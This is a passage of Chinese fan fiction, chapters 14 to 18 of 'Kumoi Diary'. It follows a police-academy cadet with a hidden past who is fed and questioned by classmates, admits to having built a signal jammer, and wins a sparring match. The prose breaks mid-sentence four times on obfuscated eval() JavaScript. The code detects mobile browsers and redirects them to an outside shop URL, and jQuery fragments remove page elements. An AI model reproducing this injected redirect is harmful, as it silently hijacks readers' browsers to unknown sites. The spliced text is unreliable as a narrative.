但这是不对的,身体是一切的本钱,而不是工具,这么折腾下去身体迟早会出事。 回去和松田提一嘴吧。 诸伏景光如是想,他脸上还带着温和的微笑,将水递在他手旁,他的声音放得很轻缓,像是静谧的水,轻柔而不容拒绝:“云居同学,书放在这又不会跑,身体才是本钱,不要这么投入——你的声音已经哑了哦,按时间来推算你已经超过8小时没进食了,再这么下去会胃痛的哦。” 胃痛?哦,好像是有这么回事,但吃止痛药不就行了吗?只是8小时而已,别说是温暖舒适的图书馆了,云居冬弥觉得就算在冰天雪地他也能撑个30小时。 但拒绝是不是不太好?对方好歹也是关心他诶,这么拒绝的话是不是有点伤人感情了? 云居冬弥觉得对方的关心有些无厘头,但被这双天空般的蓝色猫眼注视着,他稍稍有点别扭的心虚,感觉他就像他只是好端端得在夏天的温泉里泡澡却有人大喊「快来人,有人晕倒、溺水了」,他茫然而奇怪地冒个头——他们怎么会这么想?他分明什么事也没有。 但这种关心他也不讨厌就是了,就是有点别扭……而且拒绝会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619245|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很麻烦,搞不好会被松田啰嗦。 自从周末在校因为错过午餐时间而只吃了晚餐这事被松田阵平发现后,对方恶狠狠地把无辜的云居冬弥给批评了一顿。 云居冬弥很茫然,那只是两餐饭而已,不吃又不会死,有必要吗? 对此,萩松二人回复:有必要,非常有必要,身体是自己的,再这样下去你还没成为一名好警察就要身体坏掉了! 云居冬弥被说服了,好像这样确实有点伤身体,所以他最近几天饮食、睡觉都规律了不少,生怕被骂——不过身为一名警校生他的作息也差不到哪里去,也就偶尔会少吃个晚餐/早餐,有时会熬夜到清晨的程度。 都是6:30起床,他觉得他的作息也还算正常,也就是有时候体能训练的时候会有点难受的程度而已。 要是因为这事再被骂一次,他就要emo了。 一个人至少不要在同一个坑里跌两次,云居冬弥想明白了,果断接受对方的好意,接过了水:“谢谢诸伏同学。” 在对方似笑非笑的目光下,他下意识而不着痕迹地检查了一下后,他拧开盖子,喝了一口,然后他抬头,又对上了那双蓝色猫眼。 诸伏景光脸上的笑意真切了些许,将巧克力和饼干也递了过去。 “食堂夜宵还有一小时才开,先吃点东西垫一下吧。” 云居冬弥眨了眨眼,接了过来,拆开包装,迅速而高效地解决后,他又看到对方不太赞成的表情,莫名感到心虚。他轻声问:“怎么了?” 他总不能没控制好,导致饼干掉渣了吧?他确信他吃的时候没让一粒饼干渣掉桌上和地上。 “没什么。”诸伏景光声音放得很轻,“只是觉得云居同学吃东西有点像完成任务。” 快速,高效,不留痕迹,也不享受过程。 云居冬弥缓缓打出一个问号,进食就是进食啊,为什么会像完成任务?难道他下回要控制得吃慢点,细嚼慢咽点吗? 云居冬弥觉得他悟了,他说:“好的,我下回会注意的,谢谢提醒。” 面对对方恍然大悟的神情,诸伏景光一噎,他顺势说:“没关系,反正图书馆快要打烊了,不如我们现在先去借书,然后去食堂等着吧——去晚了排队队伍会很长哦。” 他的视线落在云居冬弥的笔记上,像是忽然想起了什么,发来了一个对方不可能会拒绝的邀请:“云居同学似乎对机械很感兴趣呢,正好我一会儿要去找松田,要不吃完夜宵后一起去?” 云居冬弥犹豫片刻,答应了,要是两人一前一后去,他怕穿帮。 随后默默跟在诸伏景光身后、抱着借的书和笔记的云居冬弥莫名觉得,他面前这个看上去很温和、温柔、疑似天然黑/白切黑的猫眼青年或许很适合当公安,那静谧无声的温柔如果被加以提取出来,再放大的话……真的,非常适合进行一项漫长却需要深入的卧底行动。 而且,诸伏同学或许很适合honey trap,也说不定呢? 15. 云居日记(15) 警校毕竟不是送人来享受的地方,夜宵种类不多,但能够填饱肚子的还是有的,云居冬弥看了一会,决定排拉面那队。 他不太喜欢吃饭团,感觉他以前可能吃过很多次,他看到有点反胃。而咖喱饭……晚上的咖喱饭是甜口的欧风咖喱饭,这恕他不能接受,他是个标准的咸党,就像他吃不惯甜粽子一样他吃不惯甜咖喱,那味道让他有点生理性反胃。 至于牛奶、香蕉和鸡蛋…… 他本人倒是不介意,但他觉得诸伏同学可能不太赞同晚餐就吃这些。 诸伏景光可能也是这么想的,他就站在他后面,温和地提了个话题:“云居同学喜欢吃拉面吗?” 云居冬弥思索片刻:“还好,不算讨厌。” “那有什么喜欢吃的食物吗?” 很正常的对话,但云居冬弥第一想法的却是从喜欢吃的食物可以推论出经济、性格、心理特质、社会阶层、社交方式等多方面信息……随后他冒出的第二个想法便是痛斥自己以小人之心度君子之腹,怎么能这么蛐蛐同学。 “没什么特别喜欢的。”云居冬弥微妙地停顿了一下,“非要说的话,我应该挺喜欢甜食的,比如薄荷糖、甜品……和糖画之类的。” “糖画?” 云居冬弥秒答:“我弟喜欢吃。”所以在孤儿院里就偷偷摸摸学过,还去厨房偷糖,私自生火去熬糖浆。 坏消息是厨具太差,不好吃。 好消息是他周末闲来无事,做了一次,手艺突飞猛进,Q版猫猫画得栩栩如生。 云居冬弥对他后来特训过这个能力表示满意——未来的“我”还是干过几件好事的,就比如还愿为弟弟特攻糖画,这点还是值得赞扬的。 诸伏景光感叹:“云居同学还真是很厉害啊。” 云居冬弥端着盘子站在一旁等了一会儿对方,微微笑了一下:“还好,这不难学。” 大概不难,他也不清楚。 云居冬弥跟在诸伏景光后面,走到他平常喜欢坐着的,没什么人的位置上坐下。这个位置离得偏,但视角很好,可以清楚看到周围人的动向,离门口也近,行动方便,不过这位置怎么看也不是对方喜欢坐的位置。 难道是照顾他不想在食堂也当显眼包的想法?总不能是想他验一下他平时坐在这个位置想看什么吧?嗯……也不是不可能。 算了,他是松田的好友,总归也是个好人,想那么多干嘛。 云居冬弥放弃思考,学着同学们的习惯,小声说了句“我要开动了”便开吃了。 热气腾腾的拉面升起白茫茫的雾气,模糊了视线,也模糊了云居冬弥本身过于凌厉的面部轮廓。鸦羽般的睫毛被水雾濡湿,平日里散漫中藏着锐利的银灰色眼睛在氤氲的水汽中显得相当柔和,仿佛所有的危险性都被藏在了日常的表壳之下,他褪去自带的那些自我防备式的攻击性。而那个向来带着与警校格格不入的冷漠、散漫与从容似乎从未存在过。 他将略带热气的面条卷了卷,送入口中,偷瞟着对方吃饭的频率,不紧不慢地吃着。 其实一直以来都是这样的,无论是跟谁一起吃饭,对方的吃饭速度决定云居冬弥的吃饭速度,他一直都在模仿身旁人的进食速度,以免过于突出,只有当他受不了食物味道或单独一人吃的时候,他才会展现出他不太正常的一面。 比如这回,从来没有人在他面前吃过零食,所以他不知道吃零食的正常速度是怎样的,只能寻着本能去做。 马萨卡,下次他一定要偷瞄一下别人是怎么吃的。 云居冬弥emo地吃着面,时不时抬起头回应着诸伏景光所问的那些小话题,有点心不在焉地想着借工具和可能被啰嗦这两件小事,也没太在意话题的走向,所以当话题弯了一大圈,来到机械相关的领域时他整个人都是懵的,完全不知道他们到底是怎么从「为什么要留这么长的刘海」到「一会儿去找松田是有什么不懂的地方吗」的。 不知不觉就被牵着走了。 诸伏同学恐怖如斯,不愧是警校组的一员。 理所当然的略过是他自己放低防线的云居冬弥自然而然地回答:“嗯,我对书里有些内容有点疑惑,想找松田同学请教一下。” 因为书本而发现自己过去技能点似乎点歪了,想要借个工具拆点小玩意,看看那到底是不是他自己做的有什么问题吗?没有,他说的完全就是真相。 「将部分真相打乱因果顺序,核心要点不透露」还真好用啊。 云居冬弥客观评价了一下,他用低头喝汤的动作掩饰了他心底微妙的心虚——虽然你是好人,但他真的不能再拉一个人下水了。 所以,斯密马赛,诸伏同学就原谅一下他善意的谎言叭。 * “善意的谎言也是谎言。” 弟弟和谷川居雾一起坐在教堂神像的背后,翻看着有点破旧的侦探小说,当弟弟看到主人公为了保护家人而撒下一个又一个谎时撇着嘴说。 他一直很喜欢说这些和这座冰冷而沉默的孤儿院格格不入的话。 谷川居雾接受良好,只是思索片刻后偏过头问:“为什么?” “当谎言成为真相时,谁还会在意,它最初只是一个谎?” “不能这么算的,kiri。”弟弟摇了摇头,他说,“当你撒下一个谎后代表你得撒下无数个谎去圆那个最初的谎,而当大家都认为这个谎是真实的时候,谁又能看到谎的背后压死了多少根稻草呢?” “谎言就像多米诺骨牌一样,当第一块倒下,没有人知道它会引发多大的风暴。” 谷川居雾若有所思,他反问:“那如果有一天你不得不撒谎呢?” 弟弟眨了眨眼,如烈日般明亮的红色眼睛注视着谷川居雾,用一种理所当然的语气回答:“那就彻彻底底地骗过所有人,保证这一切能到达我所期待的终点——正确的终点。” 谷川居雾盯着看了一会儿,偏过头,无奈地承诺道: “……好吧,如果那是你的愿望的话。” “无论多么庞大,它会实现的。” * “如果这是你做的话,我只能说你所掌握的技术已经远超这个时代了。” 话语刚落,云居冬弥便用一副「所以呢?那该怎么办」的表情看着对方,面无表情的脸上居然透着几分茫然的意味,仿佛连他本人都不知道怎么回事。 “也、也不一定是我做的吧。” 云居冬弥视线微飘,选择逃避。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619246|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那你能解释一下这个内部刻的那个小「s」是什么意思吗?你能解释一下它为什么会出现在你家吗?你能解释一下你为什么拆得那么顺手,又安装得那么麻利吗?” 松田阵平犀利的语言戳破了他掩饰太平的想法,他幽幽地看了眼对方,试图蒙混过关:“有没有种可能,有个姓名开头是「s」的人发明了这个,又教给了我。” “据我所知,目前没有什么姓名开头是「s」的专家能做出这种程度的东西。” “能不能不要那么快就戳破我的幻想,让我再逃避一下现实。”云居冬弥艰难地说。 他是不擅长推理又不代表他不会,只是相较于他弟,相较于他过于出众的武力值,他的推理能力不好,但这不意味着他在已知条件充足的情况下无法得出结论——就像他弟所吐槽的那样,其实偶尔他早就知道了答案,但他推不出来的原因是因为他不想推出来。 其实当初和弟弟玩海龟汤玩到一半时他就隐隐意识到汤底是什么了。 只是因为他不愿意接受那个汤底,所以他兜兜转转了大半圈,见弟弟还不肯死心,才无奈地说了出来。 就像现在,他明明在拆得途中就恍惚间看到过去的「谷川居雾」是怎么制作它的,却不愿去承认这确实出自于他手。 他即期待知道真相,又不想知道真相——好吧,他得承认,他确实有逃避心理。 就那么一点点(指尖宇宙)。 “逃避现实可解决不了问题。”松田阵平挑眉,看到视线乱飘的云居冬弥嗤笑一声,悠悠开口,“我还以为你已经足够清醒地认知到你过去有多‘麻烦’了呢。” “知道和接受是两码事。”云居冬弥理所当然,“我能清醒地剖析自己不代表我能接受自己,逃避可耻但胜在有用。” “有用在哪?” “有用在我今天本该能睡个好觉——但托你的福,今晚得失眠了。” 云居冬弥打了个哈欠,注意力长时间集中叠加碳水的补充,他确实有点困了,但被这事一搅和,他的困意处于一个不上不下的位置,属实是困又睡不着,睡不着但好困的阈值间。 痛苦面具了家人们。 云居冬弥将拆解又安装回去的信号屏蔽器扔给松田阵平,在对方「你到底在想什么」的表情中,解释道:“原本就是想送你的——听说你对炸弹很感兴趣,未来有可能去爆.炸.物处理班,带着这个安全点。” 说完后,他思索片刻:“要是你不放心我可以下次凑个材料,当着你的面再做几个。” 经过一次拆卸,他对它的内部构造已经搞清楚了,只要搞到材料,他再自己私下多做几个不成问题…… 要不要到时候给警校组一人送一个得了,省得厚此薄彼。 云居冬弥顺口道:“不过,私下使用,尽量先别上交给上面的人。” “嗯?” “我感觉他们可能不太干净,这种事情还是先别暴露比较好。”云居冬弥思索了一下他和系统一起列出的可信名单,“不过,目暮警官那边还是可信的,爆.炸.物处理班那里也还不错。” “公安那就算了,总感觉那边阴森森的,有隐藏鬼牌。” “嗯?你那是什么眼神?我是认真的。” 16. 云居日记(16) 云居冬弥说这句话的时候是百分百认真的,他确定警视厅里绝对有问题,其中最有问题的是警视厅公安部。 连进三回警视厅,他发现那里的氛围有时候会传来某种熟悉的、像是被深渊注视着的微妙感觉,最初他以为可能是错觉,但当连续三次看到同样的两名年轻的公安来要文件档案时,他猜他大概率没搞错——他确实被人盯上了,那三次“意外”事件大概率出自同一位之手——而那位的手伸太长了,不然不至于每次他刚来没多久,公安那边便匆匆来人,生怕被人提前劫走资料似的。 这不正常。 那两名公安太年轻了,顶多24出头,身上还带着几分尚未磨灭的学生气,两人之间的气氛格外熟络。 竹原警官看他们眼中还带着几分微妙的怀疑……据他所知,竹原警官在2年前因特殊原因,曾担任警察学校的教官,他合理怀疑他们之间认识,那两位很可能是他带过的学生。 这就很有意思了。 公安那边不要职业组的精英却要非职业组的人去当公安,这本身就是一种信号——他们对自己内部的“自己人”不信任,宁愿放弃专业性也要启用背景相对干净、人际关系简单、更容易控制的新人。 这可不是什么好现象,他看得出来那两位资历相对不高,观察力也不算特别敏锐,伪装能力也不算强,顶多算是见的各式各样的人多了,能勉强控制住面部表情。 虽然这表情控制得不怎么就是了,其中一名他看竹原警官时脸上的心虚都快藏不住了。 这种生涩却硬装成熟稳重的伪装简直不能多提,如果他的伪装术是云居冬弥来教的,他会让他明白什么才叫地狱模式。 若有若无的冷意浮现在眼中,原本还算温和的视线此时却仿佛像是冰冷的扫描仪,精密而准确地将内里从表象中剥离出来,连带着他的表情都嵌上了许久未见的寒意。 “在想什么呢,表情这么恐怖。” 松田阵平的话打断了云居冬弥四周蔓延滋长的冷气,他抬头,淡定地回答:“我在想,公安那边派两个连表情控制都不太控制得住的年轻人来面对背后疑似有组织的兄弟、引爆了数十个地点的炸弹犯和上回的抢劫犯是不是太轻视这些事情背后的人了。” “既然这些事情被列为一个组,那他们背后的源头应该是同一个才对。” 云居冬弥平静地陈述着他的想法:“但我现在又觉得是他们自己内部觉得他们本身就不太干净,所以用更为无害、干净的棋子,落棋于棋盘之上也说不准呢。” 而且有两个公安,看他们一前一后地过来……怎么看都是策划课那边怕警视厅公安部抢资料啊。 “不过这只是直觉。”可能是凭借经验积累出来的直觉,他没把这句说出口,只是强调了一下,“但保险起见,还是先别暴出来,私下用,直到查出来再提为妙。” 说着,他看了眼对方紧缩的眉头,轻飘飘地又补了一句:“再告诉你个好消息,你或许不用那么纠结我的来处了。” “我猜公安那边或许早已知情。” * 自从警视厅三进宫,连续见了三次那两名公安后,云居冬弥就觉得或许公安那边早就知道他的背景或许不干净了。 对方那拿资料的速度简直就是跟着他背后来的,基本就是他刚到不过五分钟,那两位便一个看似冷脸实则心虚一个眼神乱飘地赶到了——能这么快赶到本就不对劲。 再加上他偶尔会感到的窥视感,他觉得盯着他看的或许有两波人。 一波人是那个自称「乌鸦」的不知名组织,一波则是公安。 他们所带的视线是不一样的。 前者更为光明正大一点,仿佛就在说「快看过来,我知道你感觉得到」;后者更为隐秘、无声,只在偶尔才会露出一点不同。 他们都在观察。 他们都在看他到底「选择」了什么。 不过真正让他区别出来的是前者不曾在警校内部出现过,后者在他射击馆里发现摄像头坏掉后,若有若无得冒了个头。 警校内或许是那边未曾看到的领域。 但为什么?那边疑似连隔壁职业组都能窥探,但为什么这边不行? 云居冬弥暂时还没搞明白。 * 萩原研二也没搞明白云居冬弥到底是怎么练出这堪称非人的武力值的。 格斗对抗课上,原本还算和谐的气氛在教官念出伊达航和云居冬弥的时候,班中的喧嚷声和喘息声微妙地沉默了一瞬,视线来回在两人之间移动,看向教官的目光堪称赞美。 自从知道云居冬弥高到离谱的武力值后,他们一直期待着他能和班长打一场——咳,不是为了别的,就单纯想知道他们和他之间的体术方面的差距到底有多大。 绝对没有别的意思(正经脸) 而云居冬弥也并不意外,早在便利店事件的庆功宴时,他就想过他下次格斗对抗估计不能摸鱼了,虽然他也决定不摸鱼,严肃对待这节课就是了。 最初的一周,云居冬弥虽然没有刻意掩饰他的武力值,但为了方便摸鱼,他还是参考周围同学的平均系数微调了一下,让自己不那么显眼,却也不用演得太累地赢下比赛。 嗯,赢下比赛。 正常来说输几局才是正确的,但他不想输,一点也不想。 但这种堪称执念的想法并不源于胜负欲,而是单纯觉得「他不能输,输了就完蛋了」,莫名其妙却又理所当然,他也不太理解他哪来的执念。 但只要不危害生命,他也懒得想太多,所以就这么不显眼又显眼地从开始一直赢到现在,直到被便利店事件打破微妙的平衡,展现出与平常不太符合的实战能力后,他确定他在接下来的几次课会接连对上格斗对抗前几,最后和班长来场1V1对决。 所以当这一刻来临时,他是心平气和中带着点无奈的。 云居冬弥穿戴好护具,从角落里冒了出来,缓步走到场地中央,平静地注视着伊达航,仿佛对对方眼中的审视与期待毫无察觉,毫无波澜的银灰色眼睛里看不出任何情绪,他调整姿势,周身的气场凝固了下来,平日偶然散发的危险性淬成沉肃的训练有素,像是待发却已经瞄准敌人的枪,只等一声令下便会扣下扳机。 他微微颔首,礼貌地说:“请多指教,伊达前辈。”这是警校的规矩,对方比他大两岁,这是必要的礼数。 伊达航咧嘴笑了一下,目光锐利而沉稳,气势汹汹:“那就来吧,云居。” 教官话语刚落,伊达航便攻了上来,和过去的战斗习惯一样,先发制人,距离迅速拉近,警棍呼啸而下。 云居冬弥微微侧身,向右边划过半步,避开了这狠利的一击,同时趁着惯性的空档攻击对方手臂的麻筋,力道恰到好处,只会让人感到酸胀难忍而不至于真的破坏身体健康。 但伊达航忍住了那酸麻的感觉,反身又是一挥,这回落在了对方格挡用的警棍上。 对方强劲的力道让云居冬弥挑眉笑了一下,反手绕了一下,挑飞对方的武器,在腿横踢过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619247|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来前后撤几步,饶有兴趣地打量起对方的进攻习惯。 他閒庭信步般躲过多次连击。 最终在对方略显疲惫的一拳之后顺势攥住对方的手臂,在绞杀和过肩摔间犹豫一瞬,选择了温和点的后者。 随后轻巧地将他反手制止在地,用警棍卡在喉上的护具上,稍稍用力警示。他温馨提示:“我建议到此结束,不然继续下去可能会造成损伤。” “胜负已分!” 场上凝固的局势一松,云居冬弥抽出警棍,如善从流地从对方背上下来,卸下了沉重的护具。额上渗出簿汗,他的脸色看上去也正常的些许,略长的额发黏在脸侧有点难受,他将它往后捋了捋。 不知何时已经安静下来的班中,同学看向他的眼神与之前有些许不同,原本的疏离、探究和敬畏中夹杂了些许对他所展现的实力的向往。 云居冬弥缓了几口气,偏头看向累得大汗淋漓的伊达航,盯着对方看了一会儿,犹豫片刻后说:“你的力量很强,但进攻不仅仅只有进攻,还有预判、推算和双方体力的消耗进度,有时候避其锋芒,在对方精疲力尽的时候再出手也是一种方式。” 单论力量,他们或许差不多,甚至他可能比不上对方。 但云居冬弥近乎刻骨的战斗意识所带来的经验、技巧和对局势的判断却是碾压性的。 伊达航喘着气,摘下了面罩,汗水沿着脸颊划了下来,落在衣领上。他看向云居冬弥的眼里丝毫没有挫败,反而带着几分打爽了的兴奋和一丝了然。他一手撑地站起来,用另外一只手拍了拍对方的肩膀,力度不算大,带着点意料之外和情理之中的认可:“受教了!你果然深藏不露啊,云居。” 云居冬弥压下想要侧过身的下意识动作,站在原地,轻声说:“没有,只是一点微不足道的小建议。” 伊达航爽朗地笑起来,说了些感谢和调侃的话。 云居冬弥反复说「没有」、「谢谢」、「没关系」,感觉他再这么聊下去,他真的要变成社恐了。 最后是教官走上前的动作拯救了他快要飘走的灵魂。 教官的目光落在云居冬弥身上,带着点审视、赞赏和一丝惆怅,他宣布格斗对抗的结束,简单点评了几个典型案例,随后沉甸甸地看着云居冬弥,重点强调了一下他在这次对抗赛中所展露出的控制力、判断力与近乎完美的计算能力。 “逮捕术的要领不光是力量之间的对决,还有战术上的博弈,要扬长避短,准确判断对方的意图。”教官语气有些复杂,“云居,你在这方面做的非常……出色!” 何止是出色。 这已经是远超正常警校生的“出色”程度了,就算放在十年工作经验上的刑警身上也依旧出格。 再加上公安那边的说法…… 把这样一个明晃晃地写着「危险」的人放进警校真的是件正确的选择吗? * “至少你这回做出的选择是正确的。” “选择控制而不是用出最熟悉的力道,选择相对温和的过肩摔而不是绞杀,选择指点而不是挑衅……” 松田阵平说到这,神情有点微妙,明显是想到他们之前初遇那会儿堪称挑衅的指点。随后他若无其事地总结:“你管那么多干嘛?难道他们想要你做出什么选择,你就按着他们的选择去做?再说了,你不早就做出了选择吗?” 云居冬弥微微点头:“嗯,我选择做一名合格的好警察。” 这是他选的路。 即使再难他也会走下去。 17. 云居日记(17) 格斗对抗所带来的风波似乎没给云居冬弥带来太多变化,他依旧冷淡、沉默、难以接近,总是垂着眼站在角落,安静地注视着班中发生的一切。 但又有什么悄声改变。 “云居同学……那个,可以教我一下那个夺刀到底该怎么做吗?” 有同学低着头,轻声问道。 这是自那场课之后,本周来找他问这类问题的第五个人了,虽然不太理解他们为什么要找他,但看在对方没有恶意,真的只是纯粹的请教的份上,云居冬弥不介意花费课余时间去教他们。 “可以。” 他平静地点头,合上顺手带下来的小册子,放在一旁。 云居冬弥一毫不差地复刻教官所做出的示范,随后让对方做给他看,他一点点纠正那位同学的姿势和力度。 “重心压稳,腹部用点劲。” “手腕向下再偏转7度。” 云居冬弥淡淡地说,语调平稳,就算是反复纠正一个错误,他的情绪依旧稳定到似乎毫无起伏,没有任何不耐烦的痕迹。他上手纠正对方细微的发力角度,指尖隔着衣服,点到为止,力道控制得恰到好处。 每当一个动作达到他的预期之后,他才会进一步示范。 “不要后仰,发力瞬间要快、准、狠,像这样。” 在最后让那位同学连贯来几次,找找感觉,他试了几次,终于在云居冬弥再次准备上手教前找到窍门,脸上带着几分喜色和恍然大悟地看着他,感谢道:“原来是这样啊!谢谢你,云居同学!” “不客气。” 云居冬弥若无其事地偏开目光,坐回原位,平静地翻着他随手拿下来的《警校生手册》。 不知道是不是他的错觉。 他感觉这段时间找他求教的人越来越多了。 从最开始的隔几天来一个到现在几乎每天都有人来找他,云居冬弥合理怀疑他最近心平气和学习当名好警察后他的气质正常起来了。 * 其实云居冬弥的气质变化并不大,顶多能完美地收敛起他的攻击性,让他看上去只是一名过于冷淡阴郁的普通警校生而已。 距离气质正常……还差点距离。 不过去求教的人到底是怎么多起来的呢?诸伏景光还是有所猜测的。 自上回便利店事件,松田阵平对云居冬弥展现出隐隐的维护之后,萩原研二便心照不宣地充当对方融入班中集体的润滑剂,不着痕迹地教他该如何正常地和同学相处。 而云居冬弥的学习能力确实强,几乎是萩原研二前几天提出的,他后几天便会自然而然地加在身上。 如果忽略脸和气质不谈,现在的云居冬弥至少在行为模式上看上去已经能勉强摸到“不太合群但能沟通”的边了。 看到别人问好后他会跟着问好,被请教后会毫不吝啬地教导,甚至在萩原研二的纠正下改掉了要么什么也不说,要么不停道谢或道歉的奇怪习惯。 这种程度的改变,他们自然看在眼里。 就算还是对这位同学所表现出来的疑点有所怀疑,他们还是克制住探究欲,听松田阵平的,小心而温和地接纳对方。 经过几天观察和相处,诸伏景光发现云居冬弥不是单纯的孤僻,而是他对正常的社交很生疏,比起像现在这样带着善意的接触,他反而更习惯最开始的微妙的回避与怀疑。 而他的情绪与其说是稳定,倒不如说是情绪阈值过高,难以感受到自身的情绪——很奇怪,他像是很难感受到除了困惑、迷茫和烦闷以外绝大部分的情绪。他有时候连自己在忍耐、厌烦和开心都区分不出来,只有当人特地提醒,他才会后知后觉地知道。 更奇怪的是他并不觉得这有问题。 ……好吧。 在他眼里有很多有问题的行为都没有问题,仿佛完全没有这部分的常识。 这也就导致他明明相当敏锐,但在某些方面相当钝感。 所以当诸伏景光看到对方疑惑的表情时,没忍住看向不远处围观的萩原研二。 在最初为了帮助云居冬弥改善人缘,旁敲侧击下引导同学去向他请教的某警校小王子·人缘遍布警校·情商Max·萩原研二朝他打了个Wink,微微移开视线。 * 两周前,当萩原研二看到云居冬弥提醒班长的话后,忽然用拳捶掌心,兴致勃勃地说:“说不定小云居很适合当老师哦!” 降谷零微微睁大眼:“萩原你是认真的吗?” 松田阵平若有所思,盯着似乎有点后悔说了那段话的云居冬弥看了会儿,点了点头:“或许真可以。” 诸伏景光笑了一下,没有反驳,只是温声补充道:“云居同学的观察力很好,耐心也很高,某种意义上确实很适合教导别人。” “所以我的进度条是缺失了吗?怎么一个两个都熟起来了?” 降谷零幽幽地说,用「你怎么也这么想」的目光看向幼驯染,严重怀疑他目前的进度条比他们差一截,不然认知上的差别会有这么大。 在场知道最多·锚点·手持信号屏蔽器·松田阵平面不改色,抱着臂,下颌微扬,一副「你说什么我没听见」的嚣张模样。 通过幼驯染的表情猜到一点·小云居饭搭子之一·社交达人·萩原研二无辜地眨了眨眼,仿佛听不懂对方在说什么。 夜宵套话套了不少信息·发现对方疑似不擅长拒绝善意·最近关系升温·诸伏景光真诚回望,清澈的蓝色猫眼注视着他的幼驯染。 你可能确实进度条缺了一点点呢,zero。 * 隐隐被“孤立”在kumi观察讨论贴之外的降谷零坐在诸伏景光身旁,讨论着一些日常话题,当看到云居冬弥结束教学的小插曲后,他不着痕迹地瞥了眼坐在角落里翻小册子的黑方青年。 暖色调的灯下,他曲着腿坐在墙角,垂着眼安静地看着书。 灯光模糊地勾勒出的他侧脸的轮廓线,削弱了几分凌厉。鸦羽般的眼睫垂下一小片阴影,随着翻书的动作而抖动着,看上去简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619248|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直就像是真正的普通警校生。 降谷零收回了目光。 他对云居冬弥并没有抱有恶意,只是他对于他所展现出的那些疑点确实很在意。 精确到毫厘的高效而利落的格斗技巧;面对枪口时异于常人的冷静;偶尔露出的仿佛被「危险」腌入味的眼神;对一些犯罪案例敏锐到不正常却认为理所当然的直觉……就算对方习惯性将这些归于美国读书的经历,但无可否认的是这绝不正常。 那些疑点放在一名警校生身上就像是万白之中混了点黑,异常明显。 非常明显。 简直就是在挑战他的职业神经。 降谷零承认云居冬弥在便利店事件里所做出的选择正确,认可他所展现出的实力,也认为对方确实是善意的,他的教学能力超乎想象的强。 但这就足够了吗?这真的能抵消他所带来的风险吗? 降谷零不知道松田为什么觉得他可以尝试有所保留的信任,不知道那天夜里他们提前离去聊了些什么,也不知道那个向来漫不经心、不怎么在乎警察这一职业的云居冬弥为什么会在一夜间改变,偏执地想将自己归类于一名合格的好警察。 但对方的改变他确实看在眼里。 那些生涩的问候,那些耐心而专业的指导,那些在面对他人善意提醒后茫然的目光……就像是有人在被胡成一团的画板上,用颜料盖掉了原本的画,在此之上绘出略显浑浊、但确实覆盖了原作的油画。 可这足以让他放下审视吗? 他所展露出来的究竟是表象还是里象? 他无法判断。 松田阵平的信任源于他未曾多提的初遇,以及那晚不曾透露的夜间谈话;萩原研二善意的帮助源于他对幼驯染的信任和对社交、微表情的在行;诸伏景光的接纳与引导则源于那些本人都没察觉,或者是察觉了但不太在意的小细节上所得出的结论。 他们都从不同的侧面触碰到了“云居冬弥”所代表的另一面。 信任需要时间,需要坦诚,需要经得起检验,而这些……估计他目前只准许松田一人知道。他目前只信任松田一人。正是因为信任,所以他愿意尝试去接纳松田的朋友,尝试像信任对方那样放下戒心,用较为平常的模样对待他们。 云居冬弥身上的不确定性太高了,谁也不确定他现在的决定和选择到底会不会在记忆恢复那天推翻。 在彻底理清所有疑点和背后的动机前,保持距离,保持冷静,用理性的目光看待,这才是对所有人——包括做出这个选择和决定的云居冬弥最负责的态度。 并不是所有人都能一脚油门踩到底的,总要留出一人踩刹车,冷静地注视着眼前可能出现的风险与岔路口。 指尖轻点手臂,降谷零收回飘远的思绪,继续和幼驯染聊着即将到来的周末相关的话题。 在视线的余光中,云居冬弥轻轻合上了小册子,目光在灯光中交汇,他朝这边浅笑一下,站起身来,在下课铃打响前几秒站到解散前的位置上。 18. 云居日记(18) 云居冬弥对降谷零本人并没有任何意见,他完全能够理解对方对他的审视和保留,甚至对此非常欣赏。 